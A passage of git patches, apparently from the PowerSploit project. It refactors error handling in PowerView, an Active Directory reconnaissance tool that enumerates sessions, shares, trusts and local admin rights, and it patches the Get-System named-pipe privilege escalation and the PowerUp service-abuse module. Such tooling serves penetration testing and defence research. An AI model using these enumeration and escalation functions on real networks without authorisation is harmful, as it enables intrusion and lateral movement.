there's no -DomainController specified, try to pull the primary DC to reflect queries through $DomainController = ((Get-NetDomain).PdcRoleOwner).Name } catch { @@ -3096,7 +3095,7 @@ filter Get-UserEvent { } } catch { - Write-Debug "Error parsing event logs: $_" + Write-Verbose "Error parsing event logs: $_" } } } @@ -3131,7 +3130,7 @@ filter Get-UserEvent { New-Object -TypeName PSObject -Property $LogonEventProperties } catch { - Write-Debug "Error parsing event logs: $_" + Write-Verbose "Error parsing event logs: $_" } } } @@ -3737,7 +3736,7 @@ filter Get-GUIDMap { $SchemaSearcher.dispose() } catch { - Write-Debug "Error in building GUID map: $_" + Write-Verbose "Error in building GUID map: $_" } } @@ -3754,7 +3753,7 @@ filter Get-GUIDMap { $RightsSearcher.dispose() } catch { - Write-Debug "Error in building GUID map: $_" + Write-Verbose "Error in building GUID map: $_" } } @@ -5832,7 +5831,7 @@ function Get-DFSshare { } } catch { - Write-Debug "Error in parsing DFS share : $_" + Write-Verbose "Error in parsing DFS share : $_" } } } @@ -5902,7 +5901,7 @@ function Get-DFSshare { } } catch { - Write-Debug "Error in parsing target : $_" + Write-Verbose "Error in parsing target : $_" } } } @@ -5980,7 +5979,7 @@ function Get-GptTmpl { $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { - Write-Debug "Error mounting path $GptTmplPath : $_" + Write-Verbose "Error mounting path $GptTmplPath : $_" return $Null } @@ -6032,7 +6031,7 @@ function Get-GptTmpl { New-Object PSObject -Property $SectionsFinal } catch { - Write-Debug "Error parsing $TargetGptTmplPath : $_" + Write-Verbose "Error parsing $TargetGptTmplPath : $_" } } @@ -6091,7 +6090,7 @@ function Get-GroupsXML { $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { - Write-Debug "Error mounting path $GroupsXMLPath : $_" + Write-Verbose "Error mounting path $GroupsXMLPath : $_" return $Null } @@ -6197,7 +6196,7 @@ function Get-GroupsXML { } } catch { - Write-Debug "Error parsing $TargetGroupsXMLPath : $_" + Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" } } @@ -6332,7 +6331,7 @@ function Get-NetGPO { # find any GPOs linked to the site for the given computer $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName - if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { if($_.gplink) { $_.gplink.split("][") | ForEach-Object { @@ -6903,8 +6902,7 @@ function Find-GPOLocation { if($TargetSid -ne '*') { if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) } - # use the tokenGroups approach from Get-NetGroup to get all effective - # security SIDs this object is a part of + # use the tokenGroups approach from Get-NetGroup to get all effective security SIDs this object is a part of $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids if($TargetSid -isnot [System.Array]) { [System.Array]$TargetSid = [System.Array]@($TargetSid) } @@ -6919,8 +6917,7 @@ function Find-GPOLocation { 'PageSize' = $PageSize } - # get all GPO groups, and filter on ones that match our target SID list - # and match the target local sid memberof list + # get all GPO groups, and filter on ones that match our target SID list and match the target local sid memberof list $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { if ($_.members) { $_.members = $_.members | Where-Object {$_} | ForEach-Object { @@ -6940,8 +6937,7 @@ function Find-GPOLocation { # check if the memberof contains the sid of the local account we're searching for Write-Verbose "memberof: $($_.memberof)" if ($_.memberof -contains $LocalSid) { - # check if there's an overlap between the members field and the set of target sids - # if $TargetSid = *, then return all results + # check if there's an overlap between the members field and the set of target sids if $TargetSid = *, then return all results if ( ($TargetSid -eq '*') -or ($_.members | Where-Object {$_} | Where-Object { $TargetSid -Contains $_ })) { $_ } @@ -7143,7 +7139,7 @@ function Find-GPOComputerAdmin { # enumerate any linked GPOs for the computer's site $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName - if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { if($_.gplink) { $_.gplink.split("][") | ForEach-Object { @@ -7376,8 +7372,7 @@ function Get-DomainPolicy { if( $_.Name -eq 'PrivilegeRights') { $PrivilegeRights = New-Object PSObject - # for every nested SID member of PrivilegeRights, try to - # unpack everything and resolve the SIDs as appropriate + # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate $_.Value.psobject.properties | ForEach-Object { $Sids = $_.Value | ForEach-Object { @@ -7390,7 +7385,7 @@ function Get-DomainPolicy { } } catch { - Write-Debug "Error resolving SID : $_" + Write-Verbose "Error resolving SID : $_" } } @@ -7543,8 +7538,7 @@ function Get-NetLocalGroup { ForEach($Server in $Servers) { if($API) { - # if we're using the Netapi32 NetLocalGroupGetMembers API call to - # get the local group information + # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information # arguments for NetLocalGroupGetMembers $QueryLevel = 2 @@ -7559,7 +7553,6 @@ function Get-NetLocalGroup { # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - Write-Debug "NetLocalGroupGetMembers result for $Server : $Result" $LocalUsers = @() # 0 = success @@ -7570,8 +7563,7 @@ function Get-NetLocalGroup { # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 @@ -7579,13 +7571,10 @@ function Get-NetLocalGroup { $Offset += $Increment $SidString = "" - $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString) - Write-Debug "Result of ConvertSidToStringSid: $Result" + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - if($Result -eq 0) { - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Error "ConvertSidToStringSid LastError: $Err" + if($Result2 -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { $LocalUser = New-Object PSObject @@ -7595,7 +7584,7 @@ function Get-NetLocalGroup { $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - # add in our custom object + $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser') $LocalUsers += $LocalUser @@ -7620,19 +7609,8 @@ function Get-NetLocalGroup { } $LocalUsers } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } @@ -7742,8 +7720,7 @@ function Get-NetLocalGroup { $Member.PSObject.TypeNames.Add('PowerView.LocalUser') $Member - # if the result is a group domain object and we're recursing, - # try to resolve all the group member results + # if the result is a group domain object and we're recursing, try to resolve all the group member results if($Recurse -and $IsDomain -and $IsGroup) { $FQDN = $Name.split("/")[0] @@ -7776,7 +7753,7 @@ function Get-NetLocalGroup { } } catch { - Write-Debug "Error resolving SID : $_" + Write-Verbose "Error resolving SID : $_" } } @@ -7872,8 +7849,6 @@ filter Get-NetShare { # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - Write-Debug "Get-NetShare result for $Computer : $Result" - # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { @@ -7882,8 +7857,7 @@ filter Get-NetShare { # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $SHARE_INFO_1 @@ -7898,19 +7872,8 @@ filter Get-NetShare { # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } @@ -7980,8 +7943,6 @@ filter Get-NetLoggedon { # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - Write-Debug "Get-NetLoggedon result for $Computer : $Result" - # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { @@ -7990,8 +7951,7 @@ filter Get-NetLoggedon { # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 @@ -8006,19 +7966,8 @@ filter Get-NetLoggedon { # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } @@ -8096,8 +8045,6 @@ filter Get-NetSession { # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - Write-Debug "Get-NetSession result for $Computer : $Result" - # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { @@ -8106,8 +8053,7 @@ filter Get-NetSession { # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $SESSION_INFO_10 @@ -8121,19 +8067,8 @@ filter Get-NetSession { # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } @@ -8266,21 +8201,16 @@ filter Get-NetRDPSession { # if we get a non-zero handle back, everything was successful if ($Handle -ne 0) { - Write-Debug "WTSOpenServerEx handle: $Handle" - # arguments for WTSEnumerateSessionsEx $ppSessionInfo = [IntPtr]::Zero $pCount = 0 # get information on all current sessions - $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() # Locate the offset of the initial intPtr $Offset = $ppSessionInfo.ToInt64() - Write-Debug "WTSEnumerateSessionsEx result: $Result" - Write-Debug "pCount: $pCount" - if (($Result -ne 0) -and ($Offset -gt 0)) { # Work out how mutch to increment the pointer by finding out the size of the structure @@ -8289,8 +8219,7 @@ filter Get-NetRDPSession { # parse all the result structures for ($i = 0; ($i -lt $pCount); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 @@ -8322,39 +8251,44 @@ filter Get-NetRDPSession { # query for the source client IP with WTSQuerySessionInformation # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx - $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) - - $Offset2 = $ppBuffer.ToInt64() - $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 - $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - $SourceIP = $Info2.Address - if($SourceIP[2] -ne 0) { - $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + if($Result -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" } else { - $SourceIP = $Null - } + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS - $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP - $RDPSession + $SourceIP = $Info2.Address + if($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } + + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession - # free up the memory buffer - $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) - $Offset += $Increment + $Offset += $Increment + } } # free up the memory result buffer $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } # Close off the service handle $Null = $Wtsapi32::WTSCloseServer($Handle) } else { - # otherwise it failed - get the last error - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Verbose "LastError: $Err" + Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" } } @@ -8412,24 +8346,20 @@ filter Invoke-CheckLocalAdminAccess { # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F) + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" + Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle" $IsAdmin = New-Object PSObject $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer # if we get a non-zero handle back, everything was successful if ($Handle -ne 0) { - # Close off the service handle $Null = $Advapi32::CloseServiceHandle($Handle) $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True } else { - # otherwise it failed - get the last error - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False } @@ -8484,7 +8414,6 @@ filter Get-SiteName { $PtrInfo = [IntPtr]::Zero $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) - Write-Debug "Get-SiteName result for $Computer : $Result" $ComputerSite = New-Object PSObject $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer @@ -8494,21 +8423,13 @@ filter Get-SiteName { $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename } - elseif($Result -eq 1210) { - Write-Verbose "Computername '$Computer' is not in a valid form." - $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' - } - elseif($Result -eq 1919) { - Write-Verbose "Computer '$Computer' is not in a site" - - $ComputerSite | Add-Member Noteproperty 'SiteName' $Null - } else { - Write-Verbose "Error" - $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' + $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage } $Null = $Netapi32::NetApiBufferFree($PtrInfo) + $ComputerSite } @@ -8709,7 +8630,7 @@ filter Get-CachedRDPConnection { } catch { - Write-Debug "Error: $_" + Write-Verbose "Error: $_" } } @@ -8821,7 +8742,7 @@ filter Get-RegistryMountedDrive { } } catch { - Write-Debug "Error: $_" + Write-Verbose "Error: $_" } } } @@ -9058,7 +8979,7 @@ function Find-InterestingFile { $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { - Write-Debug "Error mounting path '$Path' : $_" + Write-Verbose "Error mounting path '$Path' : $_" return $Null } @@ -10906,7 +10827,7 @@ function Invoke-ShareFinder { # get the shares for this host and check what we find $Shares = Get-NetShare -ComputerName $ComputerName ForEach ($Share in $Shares) { - Write-Debug "[*] Server share: $Share" + Write-Verbose "[*] Server share: $Share" $NetName = $Share.shi1_netname $Remark = $Share.shi1_remark $Path = '\\'+$ComputerName+'\'+$NetName @@ -10921,7 +10842,7 @@ function Invoke-ShareFinder { "\\$ComputerName\$NetName `t- $Remark" } catch { - Write-Debug "Error accessing path $Path : $_" + Write-Verbose "Error accessing path $Path : $_" } } } @@ -10935,7 +10856,7 @@ function Invoke-ShareFinder { "\\$ComputerName\$NetName `t- $Remark" } catch { - Write-Debug "Error accessing path $Path : $_" + Write-Verbose "Error accessing path $Path : $_" } } else { @@ -11392,7 +11313,7 @@ function Invoke-FileFinder { $SearchShares += $Path } catch { - Write-Debug "[!] No access to $Path" + Write-Verbose "[!] No access to $Path" } } } @@ -12544,8 +12465,6 @@ function Get-NetDomainTrust { # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - Write-Debug "DsEnumerateDomainTrusts result for $DomainController : $Result" - # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { @@ -12554,8 +12473,7 @@ function Get-NetDomainTrust { # parse all the result structures for ($i = 0; ($i -lt $DomainCount); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS @@ -12563,12 +12481,10 @@ function Get-NetDomainTrust { $Offset += $Increment $SidString = "" - $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString) + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Result -eq 0) { - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Error "ConvertSidToStringSid LastError: $Err" + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { $DomainTrust = New-Object PSObject @@ -12589,15 +12505,8 @@ function Get-NetDomainTrust { # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } - else - { - switch ($Result) { - (50) { Write-Debug 'The request is not supported.' } - (1004) { Write-Debug 'Invalid flags.' } - (1311) { Write-Debug 'There are currently no logon servers available to service the logon request.' } - (1786) { Write-Debug 'The workstation does not have a trust secret.' } - (1787) { Write-Debug 'The security database on the server does not have a computer account for this workstation trust relationship.' } - } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { @@ -13140,16 +13049,15 @@ $FunctionDefinitions = @( (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), - (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), - (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), - (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), - (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), - (func kernel32 GetLastError ([Int]) @()) + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])) ) # enum used by $WTS_SESSION_INFO_1 below @@ -13267,5 +13175,4 @@ $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] -$Kernel32 = $Types['kernel32'] $Wtsapi32 = $Types['wtsapi32'] From 5660218b38eaacb95679dde712ecb6857143cfa3 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 31 May 2016 23:28:19 -0400 Subject: [PATCH 145/296] Bug fix for Get-System for when a needed assembly isn't loaded. --- Privesc/Get-System.ps1 | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 index 32d43999..f2b8014a 100644 --- a/Privesc/Get-System.ps1 +++ b/Privesc/Get-System.ps1 @@ -173,6 +173,8 @@ function Get-System { $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" + Add-Type -Assembly System.Core + # create the named pipe used for impersonation and set appropriate permissions $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) From ecc96be81a881dca5fa598c776f1ca3574191164 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 1 Jun 2016 19:03:18 -0400 Subject: [PATCH 146/296] -Removed Invoke-ServiceStart, Invoke-ServiceStop, Invoke-ServiceEnable, Invoke-ServiceDisable -Renamed Get-ServiceFilePermission to Get-ModifiableServiceFile -Renamed Get-ServicePermission Get-ModifiableService -Integrated PSReflect codebase from @mattifestation -Modified Get-ModifiableFile to enumerate the ACLs for passed file paths, returning the path/permission set/identityreference for each modifable file (instead of opening file for modification) -Added Add-ServiceDacl from @mattifestation to add service Dacls to Get-Service objects -Added Set-ServiceBinPath replace "sc.exe config SERVICE binPath= X" - now modifies using the ChangeServiceConfig Win32 API call -Revamped Test-ServiceDaclPermission to take advantage of Add-ServiceDacl. Service permissions are now matched up against the current user's group memberships and specified permission sets to check for. -Functions that checked for service restarting now use Test-ServiceDaclPermission -Get-ModifiableService now uses Test-ServiceDaclPermission -Invoke-ServiceAbuse completely rebuilt to use native PowerShell functions and Set-ServiceBinPath to reconfiguring service binary paths for abuse -Parameter sets rewritten for several functions to accept -Credential objects were applicable and -Service objects from Get-Service on the pipeline TODO: Tune up Write-ServiceBinary, Install-ServiceBinary, Restore-ServiceBinary, Find-DLLHijack, Find-PathHijack, Write-HijackDll, and all the registry checks --- Privesc/PowerUp.ps1 | 1866 +++++++++++++++++++++++++++++++++---------- 1 file changed, 1430 insertions(+), 436 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index afc06d63..c5f881da 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -8,415 +8,1332 @@ Optional Dependencies: None #> +#Requires -Version 2 + ######################################################## # -# Helpers +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 # ######################################################## -function Get-ModifiableFile { +function New-InMemoryModule +{ <# - .SYNOPSIS +.SYNOPSIS - Helper to return any modifiable file that's a part of a passed string. - - .EXAMPLE +Creates an in-memory assembly and module - PS C:\> '"C:\Temp\blah.bat" -f "C:\Temp\config.ini"' | Get-ModifiableFile +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +When defining custom enums, structs, and unmanaged functions, it is +necessary to associate to an assembly module. This helper function +creates an in-memory module that can be passed to the 'enum', +'struct', and Add-Win32Type functions. + +.PARAMETER ModuleName + +Specifies the desired name for the in-memory assembly and module. If +ModuleName is not provided, it will default to a GUID. + +.EXAMPLE - Return the paths "C:\Temp\blah.bat" or "C:\Temp\config.ini" if they are - modifable by the current user context. +$Module = New-InMemoryModule -ModuleName Win32 #> - [CmdletBinding()] - Param( - [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + Param + ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] [String] - $Path + $ModuleName = [Guid]::NewGuid().ToString() ) - begin { - # false positives - $Excludes = @("MsMpEng.exe", "NisSrv.exe") + $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() - $OrigError = $ErrorActionPreference - $ErrorActionPreference = "SilentlyContinue" + foreach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } } - process { - $CandidateFiles = @() + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = $AppDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) - # possible separator character combinations - $SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ") - - ForEach($SeparationCharacterSet in $SeparationCharacterSets) { - $CandidateFiles += $Path.split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object { - Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [string] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [String] + $EntryPoint, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# +.SYNOPSIS + +Creates a .NET type for an unmanaged Win32 function. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: func + +.DESCRIPTION + +Add-Win32Type enables you to easily interact with 